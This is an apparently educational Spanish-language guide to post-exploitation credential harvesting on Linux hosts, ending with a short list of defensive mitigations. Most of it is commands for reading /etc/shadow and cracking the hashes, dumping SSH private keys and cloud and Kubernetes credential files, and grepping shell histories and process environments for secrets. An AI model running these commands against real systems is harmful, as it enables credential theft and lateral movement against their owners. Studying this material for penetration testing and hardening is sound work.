Saltearse al contenido

Robo de credenciales en Linux

Tras comprometer un host Linux, cosechar credenciales es lo que te permite escalar, moverte a otros sistemas y persistir. Linux guarda secretos en muchos sitios: hashes de contraseñas, claves SSH, tokens de aplicaciones, credenciales de cloud, historiales de comandos y configuraciones. Un host rara vez vive aislado: las credenciales que encuentras aquí suelen abrir el siguiente sistema.

# si eres root (o tienes cap_dac_read_search / SeBackup equivalente)
cat /etc/shadow # hashes de contraseñas de usuarios
cat /etc/passwd # usuarios (combinar con shadow -> unshadow -> crackear)
unshadow /etc/passwd /etc/shadow > hashes.txt
hashcat -m 1800 hashes.txt rockyou.txt # $6$ = sha512crypt
john hashes.txt --wordlist=rockyou.txt

Los formatos: $1$ MD5crypt, $5$ sha256, $6$ sha512, $y$/$2$ yescrypt/bcrypt. Crackeables offline según la fortaleza.

# claves privadas del usuario -> acceso a otros hosts
cat ~/.ssh/id_rsa ~/.ssh/id_ed25519 2>/dev/null
cat ~/.ssh/config # a qué hosts se conecta y cómo
cat ~/.ssh/known_hosts # hosts conocidos (objetivos)
cat ~/.ssh/authorized_keys # quién puede entrar (persistencia)
# buscar claves por todo el sistema
find / -name "id_rsa*" -o -name "*.pem" 2>/dev/null

Una clave SSH privada sin passphrase es acceso directo a cada host en el que esté autorizada.

# búsqueda masiva
grep -rniE 'password|passwd|secret|api[_-]?key|token' /etc /opt /var/www /home 2>/dev/null
# ubicaciones típicas
/var/www/**/wp-config.php, config.php, .env # webapps (DB creds)
~/.aws/credentials, ~/.config/gcloud, ~/.kube/config # cloud/k8s
~/.netrc, ~/.git-credentials, ~/.pgpass, ~/.my.cnf # servicios
/etc/fstab # credenciales de montajes (CIFS)
docker: variables de entorno, docker inspect
cat ~/.bash_history ~/.zsh_history # comandos previos (¡a veces contraseñas en claro!)
history
# credenciales en memoria de procesos (con privilegios)
strings /proc/<pid>/environ # variables de entorno de un proceso
# MySQL/psql/redis history
cat ~/.mysql_history ~/.psql_history ~/.rediscli_history

El .bash_history es un clásico: mysql -u root -pSuperSecret123 queda registrado.

# bases de datos
/etc/mysql/, config de postgres, mongod.conf
# gestores de contraseñas / keyrings (si hay sesión)
~/.config/keepassxc, gnome-keyring, ~/.password-store (pass)
# tokens de apps y CI/CD
.env de aplicaciones, Jenkins/GitLab runners, variables de pipelines
linpeas.sh # marca credenciales encontradas automáticamente
LinEnum.sh
# crackeo
hashcat / john # /etc/shadow, hashes de apps
# claves SSH con passphrase
ssh2john id_rsa > hash ; john hash
  • Sin credenciales en texto plano: usar gestores de secretos (Vault, secrets de k8s), permisos 600, nunca en .bash_history (HISTIGNORE, pasar por fichero/prompt).
  • Claves SSH con passphrase y rotación; authorized_keys auditado; ssh-agent con caducidad.
  • Hashes fuertes (sha512/yescrypt) y contraseñas robustas (frena el crackeo offline).
  • Mínimo privilegio: que un usuario comprometido no pueda leer /etc/shadow ni secretos de otros servicios.
  • Monitorizar acceso a ficheros sensibles (auditd) y reutilización de credenciales entre hosts.
  • /etc/shadow + /etc/passwd → unshadow → crackear
  • Claves SSH privadas y config/known_hosts (lateral)
  • grep masivo de credenciales en /etc, /var/www, /home, /opt
  • Credenciales de cloud/k8s (.aws, .kube, gcloud)
  • Historiales (.bash_history, .mysql_history)
  • Variables de entorno de procesos (/proc/pid/environ)
  • Configs de apps/DB con credenciales
  • Reutilizar lo encontrado hacia otros hosts/usuarios